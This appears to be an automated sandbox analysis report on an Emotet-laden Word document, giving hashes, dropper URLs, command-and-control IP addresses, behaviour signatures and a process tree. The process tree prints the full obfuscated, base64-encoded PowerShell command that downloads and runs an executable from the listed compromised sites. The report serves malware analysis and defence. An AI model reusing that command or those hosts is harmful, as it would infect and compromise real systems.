Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    01-08-2020 01:18

General

  • Target

    emotet_e1_df2dc0151e9893df9a0b5fc037b8857125e0e013db773886f7714baaac50f250_2020-08-01__011842._doc.doc

  • Size

    169KB

  • MD5

    437fa0f58d1ff3cdc7f15403eca13590

  • SHA1

    e8775b89d0ce1d7247ae7756bb3d1b1e06a5a088

  • SHA256

    df2dc0151e9893df9a0b5fc037b8857125e0e013db773886f7714baaac50f250

  • SHA512

    cc8a6fb1f881ce7f94fdd17125ece435c89f598b2613e23078ed6466c4f26df396cda8250c84153167c8a10272f41be01be436d43158ad57fa956e9a18937835

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://rectificadoscarrion.com/wp-includes/EiQ/

exe.dropper

http://renekok.com/QbWyat/

exe.dropper

http://www.onlinemediadesigns.com/bin/nObh/

exe.dropper

http://renegaderadio.net/haunted/cA5zuC5/

exe.dropper

http://qatifsport.net/t/NbQq254/

Extracted

Family

emotet

C2

73.116.193.136:80

185.94.252.13:443

149.62.173.247:8080

89.32.150.160:8080

185.94.252.12:80

77.90.136.129:8080

83.169.21.32:7080

104.236.161.64:8080

114.109.179.60:80

189.2.177.210:443

68.183.190.199:8080

144.139.91.187:443

185.94.252.27:443

190.181.235.46:80

82.196.15.205:8080

46.28.111.142:7080

181.167.96.215:80

202.62.39.111:80

219.92.13.25:80

191.99.160.58:80

rsa_pubkey.plain

Signatures

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Executes dropped EXE 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_df2dc0151e9893df9a0b5fc037b8857125e0e013db773886f7714baaac50f250_2020-08-01__011842._doc.doc" /o ""
    1⤵
    • Enumerates system info in registry
    • Checks processor information in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:584
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABUAFUATwBPAEYAagBqAGQAPQAnAEoARQBPAFUAUwBkAGUAawAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBDAFUAUgBpAHQAeQBQAGAAUgBvAFQAbwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEMAVQBaAFEAWgB0AHkAYQAgAD0AIAAnADIAOAA1ACcAOwAkAE4ASQBCAEMAQwBvAHMAdgA9ACcASgBPAEYASwBIAHAAdABvACcAOwAkAEcARwBNAEIAUQBiAHkAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQwBVAFoAUQBaAHQAeQBhACsAJwAuAGUAeABlACcAOwAkAFMAQgBDAFMATQBmAG8AZAA9ACcASQBCAFYATABPAG0AcABuACcAOwAkAE4AVwBEAEcATAB4AHIAbwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAHQALgBXAEUAYgBjAGwASQBFAG4AVAA7ACQATwBaAEQAQQBLAGcAdgBwAD0AJwBoAHQAdABwADoALwAvAHIAZQBjAHQAaQBmAGkAYwBhAGQAbwBzAGMAYQByAHIAaQBvAG4ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEUAaQBRAC8AKgBoAHQAdABwADoALwAvAHIAZQBuAGUAawBvAGsALgBjAG8AbQAvAFEAYgBXAHkAYQB0AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbwBuAGwAaQBuAGUAbQBlAGQAaQBhAGQAZQBzAGkAZwBuAHMALgBjAG8AbQAvAGIAaQBuAC8AbgBPAGIAaAAvACoAaAB0AHQAcAA6AC8ALwByAGUAbgBlAGcAYQBkAGUAcgBhAGQAaQBvAC4AbgBlAHQALwBoAGEAdQBuAHQAZQBkAC8AYwBBADUAegB1AEMANQAvACoAaAB0AHQAcAA6AC8ALwBxAGEAdABpAGYAcwBwAG8AcgB0AC4AbgBlAHQALwB0AC8ATgBiAFEAcQAyADUANAAvACcALgAiAHMAcABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBTAE0AQQBOAG8AYwB1AD0AJwBEAFQARwBGAFoAcABhAHMAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFoATgBaAEkASQBpAG4AaQAgAGkAbgAgACQATwBaAEQAQQBLAGcAdgBwACkAewB0AHIAeQB7ACQATgBXAEQARwBMAHgAcgBvAC4AIgBEAE8AdwBuAGAAbABgAE8AYABBAGQAZgBJAGwAZQAiACgAJABaAE4AWgBJAEkAaQBuAGkALAAgACQARwBHAE0AQgBRAGIAeQBpACkAOwAkAEYAVgBWAFYATgB5AGsAawA9ACcASwBYAEEAVABVAHUAZQBiACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARwBHAE0AQgBRAGIAeQBpACkALgAiAGwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMwA2ADkANQA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABlAGEAYABUAEUAIgAoACQARwBHAE0AQgBRAGIAeQBpACkAOwAkAFMATgBPAFEAUwB5AGsAagA9ACcAQwBDAEcATABWAGcAawBzACcAOwBiAHIAZQBhAGsAOwAkAFcARQBPAFAARAB2AHIAeAA9ACcASwBZAE0AQQBYAHQAagBhACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEARgBEAFcARABvAG4AaAA9ACcARQBNAEUATgBLAGIAcQBmACcA
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    PID:1980
  • C:\Users\Admin\285.exe
    C:\Users\Admin\285.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:2684
    • C:\Windows\SysWOW64\AuthFWGP\SmartcardCredentialProvider.exe
      "C:\Windows\SysWOW64\AuthFWGP\SmartcardCredentialProvider.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:2328

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/584-4-0x0000017C804AA000-0x0000017C804AC000-memory.dmp

    Filesize

    8KB

  • memory/2328-12-0x0000000002060000-0x000000000206C000-memory.dmp

    Filesize

    48KB

  • memory/2684-9-0x00000000005A0000-0x00000000005AC000-memory.dmp

    Filesize

    48KB